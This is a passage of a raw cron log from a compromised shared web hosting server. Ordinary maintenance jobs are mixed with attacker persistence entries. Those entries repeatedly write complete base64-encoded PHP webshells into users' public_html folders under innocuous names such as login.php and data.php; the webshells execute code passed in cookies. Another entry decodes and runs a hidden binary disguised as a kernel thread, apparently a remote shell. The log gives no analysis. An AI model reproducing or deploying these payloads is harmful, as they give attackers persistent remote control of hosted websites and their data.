"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:58:01 medusa CROND[32232]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:58:01 medusa CROND[32233]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:58:01 medusa CROND[32230]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:58:01 medusa CROND[32228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:58:01 medusa CROND[32236]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:58:01 medusa CROND[32239]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:58:01 medusa CROND[32240]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:59:01 medusa CROND[24021]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:59:01 medusa CROND[24083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:59:01 medusa CROND[24084]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:59:01 medusa CROND[24085]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:59:01 medusa CROND[24087]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:59:01 medusa CROND[24088]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:59:01 medusa CROND[24089]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:59:01 medusa CROND[24091]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:59:01 medusa CROND[24092]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:59:01 medusa CROND[24093]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:59:01 medusa CROND[24096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:59:01 medusa CROND[24107]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:00:01 medusa CROND[15290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 18:00:01 medusa CROND[15292]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 18:00:01 medusa CROND[15298]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:00:01 medusa CROND[15326]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:00:02 medusa CROND[15489]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 18:00:02 medusa CROND[15487]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 18:00:02 medusa CROND[15490]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:00:02 medusa CROND[15495]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:00:02 medusa CROND[15497]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:00:02 medusa CROND[15498]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:00:02 medusa CROND[15499]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:00:02 medusa CROND[15505]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:00:02 medusa CROND[15501]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:00:02 medusa CROND[15508]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:00:02 medusa CROND[15509]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:00:02 medusa CROND[15515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:00:02 medusa CROND[15500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 18:00:02 medusa CROND[15521]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  1 18:00:02 medusa CROND[15523]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:00:02 medusa CROND[15525]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 18:00:02 medusa CROND[15530]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 18:00:02 medusa CROND[15531]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 18:00:02 medusa CROND[15526]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
